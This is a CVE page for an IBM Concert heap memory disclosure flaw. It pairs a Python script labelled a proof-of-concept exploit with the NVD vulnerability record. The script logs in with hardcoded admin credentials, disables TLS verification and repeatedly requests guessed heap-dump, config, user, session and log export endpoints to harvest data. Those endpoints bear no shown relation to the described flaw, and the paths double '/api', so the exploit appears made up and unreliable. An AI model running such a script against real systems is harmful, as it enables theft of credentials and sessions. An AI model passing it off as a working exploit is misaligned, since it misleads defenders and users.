CVE-2025-1722

# CVE-2025-1722 PoC - IBM Concert Heap Memory Information Disclosure # This PoC demonstrates the memory information disclosure vulnerability import requests import json TARGET_URL = "https://target.ibm.com/concert/api" CVE_ID = "CVE-2025-1722" def exploit_memory_leak(): """ Exploit for IBM Concert heap memory information disclosure. The vulnerability allows attackers to obtain sensitive information from allocated heap memory due to improper clearing. """ headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-1722-PoC)", "Content-Type": "application/json" } # Step 1: Trigger sensitive data allocation print(f"[*] Exploiting {CVE_ID}") print("[*] Step 1: Triggering sensitive data allocation...") # Authentication request to load user data into heap auth_data = { "username": "admin", "password": "SensitivePassword123!" } session = requests.Session() auth_response = session.post( f"{TARGET_URL}/auth/login", json=auth_data, headers=headers, verify=False, timeout=30 ) if auth_response.status_code == 200: print("[+] Authentication successful - sensitive data in heap") # Step 2: Trigger memory dump via specific endpoint print("[*] Step 2: Requesting memory content...") # Multiple requests to increase chance of memory residue for i in range(10): dump_response = session.get( f"{TARGET_URL}/api/v1/diagnostic/heapdump", headers=headers, verify=False, timeout=30 ) if dump_response.status_code == 200: try: data = dump_response.json() # Check for leaked sensitive information if "memory_content" in data: print("[!] Potential sensitive data leaked!") print(f"[!] Data sample: {data['memory_content'][:200]}...") return data except: pass # Alternative: Trigger via specific API calls print("[*] Step 3: Alternative memory leak trigger...") leak_endpoints = [ "/api/v1/config/export", "/api/v1/users/list", "/api/v1/sessions/active", "/api/v1/logs/export" ] for endpoint in leak_endpoints: try: response = session.get( f"{TARGET_URL}{endpoint}", headers=headers, verify=False, timeout=30 ) if response.status_code == 200: print(f"[*] Checked {endpoint} - Status: {response.status_code}") except Exception as e: print(f"[-] Error on {endpoint}: {e}") print("[*] PoC execution completed") print("[*] Note: Actual exploitation requires specific conditions") return None if __name__ == "__main__": print(f"CVE-2025-1722 IBM Concert Heap Memory Information Disclosure") print("=" * 60) exploit_memory_leak()

{"cve": {"id": "CVE-2025-1722", "sourceIdentifier": "[email protected]", "published": "2026-01-20T15:16:16.120", "lastModified": "2026-01-26T19:40:46.733", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Concert 1.0.0 through 2.1.0 could allow a remote attacker to obtain sensitive information from allocated memory due to improper clearing of heap memory."}, {"lang": "es", "value": "IBM Concert 1.0.0 hasta 2.1.0 podría permitir a un atacante remoto obtener información sensible de la memoria asignada debido a una limpieza inadecuada de la memoria del montón."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-244"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:concert:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.0.0", "versionEndExcluding": "2.2.0", "matchCriteriaId": "065602A3-1E93-487B-B667-4C40FF7D0094"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7257006", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}